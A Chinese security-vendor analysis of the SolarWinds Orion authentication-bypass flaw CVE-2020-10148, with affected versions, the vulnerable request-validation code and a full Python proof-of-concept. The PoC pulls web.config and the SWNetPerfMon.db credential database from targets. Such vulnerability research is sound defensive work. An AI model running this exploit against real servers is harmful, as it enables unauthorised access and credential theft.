聚焦源代码安全,网罗国内外最新资讯!

前言

最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗。虽然目前尚不清楚这些红队工具将被如何处置,但FireEye 公司在 GitHub 上发布了一些应对措施。奇安信代码安全实验室将从技术角度,对 GitHub 仓库中的相关漏洞进行分析复现,希望能给读者带来一些启发,做好防御措施。

漏洞简介

SolarWinds Orion平台是一套负责系统监视和产品管理的基础架构,其中的SolarWinds Orion API主要负责SolarWinds Orion平台产品间的交互工作。

SolarWinds Orion 2020.2.1HF2、2019.4HF6之前的版本产品存在远程代码执行漏洞。具体来说,攻击者在访问链接中构造参数“.js”、“.css”等以便绕过权限验证,最终任意调用Orion API达到代码执行的目的。

受影响产品

SolarWinds Orion平台系列产品

受影响版本

Orion Version<2020.2.1HF2

Orion Version<2019.4HF6

修复版本

  • 2019.4 HF 6

  • 2020.2.1 HF 2

  • 2019.2 SUPERNOVA补丁

  • 2018.4 SUPERNOVA补丁

  • 2018.2 SUPERNOVA补丁

漏洞分析

分析SolarWinds Orion的URL请求验证代码,如下。

private static void OnRequest(object sender, EventArgs e){HttpApplication httpApplication = (HttpApplication)sender;HttpContext context = httpApplication.Context;string path = context.Request.Path;# 如果请求的资源包含关键词“Skipi18n”,则会跳过用户权限验证限制,新建一个空用户if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0){if (context.User == null || !context.User.Identity.IsAuthenticated){context.SkipAuthorization = true;context.User = new NullUser();}return;}# 如果请求的资源以".css"或“.js”结尾,则会跳过用户权限验证限制,新建一个空用户,并重定向到新页面if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase)){if (context.User == null || !context.User.Identity.IsAuthenticated){context.SkipAuthorization = true;context.User = new NullUser();}LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);return;}# 如果请求的资源以".i18n.ashx”结尾,则会跳过用户权限验证限制,继续执行程序if (!path.EndsWith(".i18n.ashx")){return;}string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);context.RewritePath(path2);}private static string RebuildPath(NameValueCollection nvc, string revisedFile){return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeyswhere x != "file"select x into keyselect string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());}

分析可知,在对URL请求的验证方法 OnRequest 中,首先判别URL是否包含关键词“Skipi18n”:如是,则会跳过用户权限验证限制,并创建一个新用户,包含此关键词的数据包响应头信息如下。

如上述判别结果不成立,则会继续判别URL中是否包含关键词“.css”或“.js”:如是,则跳过用户权限验证限制,创建一个新用户,并重定向到新页面,包含关键词 “.css”、“.js”的数据包响应头信息分别如下。

据图可知,响应信息中“Location”字段说明跳转的链接信息。因此,修改“Location”链接中“*.js”或“*.css”为指定目标,则会控制程序访问指定目标内容。

如上述判决结果不成立,则程序会继续判别URL是否包含“.i18n.ashx”,如是,则根据URL字段信息访问指定目标内容。可知,前述“Location”字段的链接信息符合此要求,我们可在它基础上构造URL控制程序访问目标文件内容,例如Web.config、数据库文件内容。

漏洞利用

我们寻找确定存在缺陷的目标服务器后,发送包含“.js”关键词的请求http://xxx/xxx.js,在响应包中获得“Location”信息,如下。

在“Location”中链接 /xxx.js.i18n.ashx?l=en-us&v=43320,60 的基础上,修改 xxx.js 为目标文件,将其作为新的请求链接。

获得目标服务器的 web.config 文件,便于分析网站配置信息,链接及响应内容如下。

据图可知,我们已成功获取到系统配置信息。

获得目标服务器的 SWNetPerfMon.db 文件,便于分析数据库信息,链接和响应内容如下。

据图可知,我们已成功获取到系统的数据库账户等信息。

完整的POC脚本如下。

#/usr/local/bin/python3import requestsimport sysif len(sys.argv) < 2:print ("[*] Usage : CVE-2020-10148.py http(s)://target")exit(-1)if not(sys.argv[1].startswith("http://")):if not(sys.argv[1].startswith("https://")):print("[-] target starts either with http:// or https://")exit(-1)print ("[*] Trying to leak valid file version")target = sys.argv[1]# appending .js to always invalid file# we don't verify because of self-signed instances# not really required but doesn't hurt either.leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)if(leakVersion.headers["location"]):print("[+] Got location header")index = leakVersion.headers["location"].index(".i18n.ashx")leakedVersion = (leakVersion.headers["location"][index:])if (leakedVersion.__contains__("v=")):print ("[+] Version seems valid")else:print("[-] Invalid version")exit(-1)else:print("[-] Can't get a valid version")exit(-1)print("[*] Trying to leak web.config file ")print(target+"/web.config"+leakedVersion)leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)print(leakedConfig.status_code)print(len(leakedConfig.text))if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :print("[+] Target is vulnerable Got the web.config file ")# outputFile = target.replace("https://","").replace("http://","")+"_web.config"# configFile = open(outputFile,"w")# configFile.write(leakedConfig.text)# configFile.close()# print("[+] web.config written to : " + outputFile )else:print("[-] Failed to download web.config target is not vulnerable")exit(-1)print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US# C:\inetpub\SolarWinds\SWNetPerfMon.db# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.dbleakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)print(target+"/SWNetPerfMon.db"+leakedVersion)print(leakedDB.status_code)print(len(leakedDB.text))if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")# outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"# configFile = open(outputFile,"w")# configFile.write(leakedDB.text)# configFile.close()# # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform# print("[+] SWNetPerfMon.db written to : " + outputFile )else:print("[-] Failed to download SWNetPerfMon.db target is on newer version")exit(-1)

总结

本文分析SolarWinds Orion平台的远程代码执行漏洞,在漏洞利用过程中绕过权限验证获取系统关键信息;学习人员应注意提升代码分析和POC编写能力。

参考文献

  • Stargazers · CVE-2020-10148.py

    https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/stargazers

  • SolarWinds Orion远程代码执行漏洞风险通告(CVE-2020-10148)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

    https://bbs.pediy.com/thread-264770.htm


推荐阅读

FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

FireEye 红队失窃工具大揭秘之:分析复现 Atlassian RCE (CVE-2019-11580)

FireEye事件新动态:APT 攻击 SolarWinds 全球供应链(详解)

请君入瓮:火眼自称遭某 APT 国家黑客组织攻击

企业软件开发商 Atlassian 紧急修复不慎泄露的0day,IBM Aspera 软件或受影响

Apache Commons Collections反序列化漏洞分析与复现

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)相关推荐

  1. FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  2. FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  3. FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  4. FireEye 红队失窃工具大揭秘之:分析复现 Atlassian RCE (CVE-2019-11580)

     聚焦源代码安全,网罗国内外最新资讯! 前言 最近,全球领先的网络安全公司 FireEye 疑遭某 APT 组织的攻击,其大量政府客户信息遭越权访问,且红队工具被盗.虽然目前尚不清楚这些红队工具将被如 ...

  5. 渗透测试-2022红队必备工具列表总结​

    2022红队必备工具列表总结​ 文章目录 2022红队必备工具列表总结​ 一.信息收集 二.漏洞扫描 三.网站管理 四.在线工具 一.信息收集 1.AppInfoScanner 一款适用于以HVV行动 ...

  6. 红队渗透工具库-忍者安全系统(NINJUTSU OS v3)系统安装

    红队渗透工具库-忍者安全系统(NINJUTSU OS v3)系统安装 前言 将镜像下载好使用VM安装,我给该系统分配了70个G硬盘,6G内存 镜像下载链接:链接: https://pan.baidu. ...

  7. 2022红队必备工具列表总结

    一.信息收集 1.AppInfoScanner 一款适用于以HVV行动/红队/渗透测试团队为场景的移动端(Android.iOS.WEB.H5.静态网站)信息收集扫描工具,可以帮助渗透测试工程师.红队 ...

  8. 轻松做性能测试,月入3万的主流测试工具大揭秘

    在为大家介绍性能测试工具以前,先让我们一起回顾一下什么是性能测试. 1.为什么需要性能测试? 举个例子.下图是一张交通图.图中的车流类似于性能测试中的数据,图中的车道.十字路口就相当于数据流量的规则和 ...

  9. IOS APP 测试方法和测试工具大揭秘

    随着移动互联网的发展,以及智能手机的普及,各种各样的 APP 层出不穷,大家可以数一数自己手机上安装的 APP,随随便便几十个,上百个,所以现在 APP 测试的需求也越来越大.那么,现在最主流的移动端 ...

最新文章

  1. 95%PyTorch库都会中招的bug!特斯拉AI总监都没能幸免
  2. tf.where 用法
  3. numpy np.polyfit()(最小二乘多项式拟合曲线)(有待进一步研究)
  4. python 列表、字典多排序问题
  5. java 无锁框架_高性能无锁并发框架 Disruptor,太强了!
  6. [js]DOM 篇
  7. 中心频点计算公式_5G中的频点计算及实例分析
  8. Python安装时报缺少DLL的解决办法
  9. cf446C DZY Loves Fibonacci Numbers
  10. 输入一个数求其倒数c语言,C语言答案(1)
  11. Elasticsearch:使用 Python 进行 Bulk insert 及 Scan
  12. 如何计算网络地址和广播地址
  13. 【python爬虫】喜欢看小说又手头紧的小伙伴一定要看这篇文章,带你一步步制作一个小说下载器
  14. WebSocket实现聊天功能
  15. mac python 连接oracle数据库(mac cx_Oracle.DatabaseError: DPI-1047: )
  16. Underexposed Photo Enhancement using Deep Illumination Estimation阅读札记
  17. 如何优雅地提取 App 的素材
  18. 基于CentOS搭建个人Leanote云笔记本
  19. 微信小程序 --- 表单输入验证(手机号、邮箱验证、输入非空)
  20. 骆驼QA:基于陈丹琦CoQA数据集的中文阅读理解模型,可给定知识文本进行问答...

热门文章

  1. 洛谷 P2331 [SCOI2005]最大子矩阵
  2. 清明三天放假归来 jquery的使用
  3. php json()函数
  4. Eclipse运行项目报no route to host : connet
  5. jav项目——商品交易系统
  6. 电信运营商云计算发展和盈利模式思考
  7. 如何把音频转换成文本?不妨来试一下这三种方法吧
  8. RetinaFace人脸检测
  9. 图文+视频手把手教您:如何增加Word的可撤消(可撤销)次数
  10. 城市区号查询 API数据接口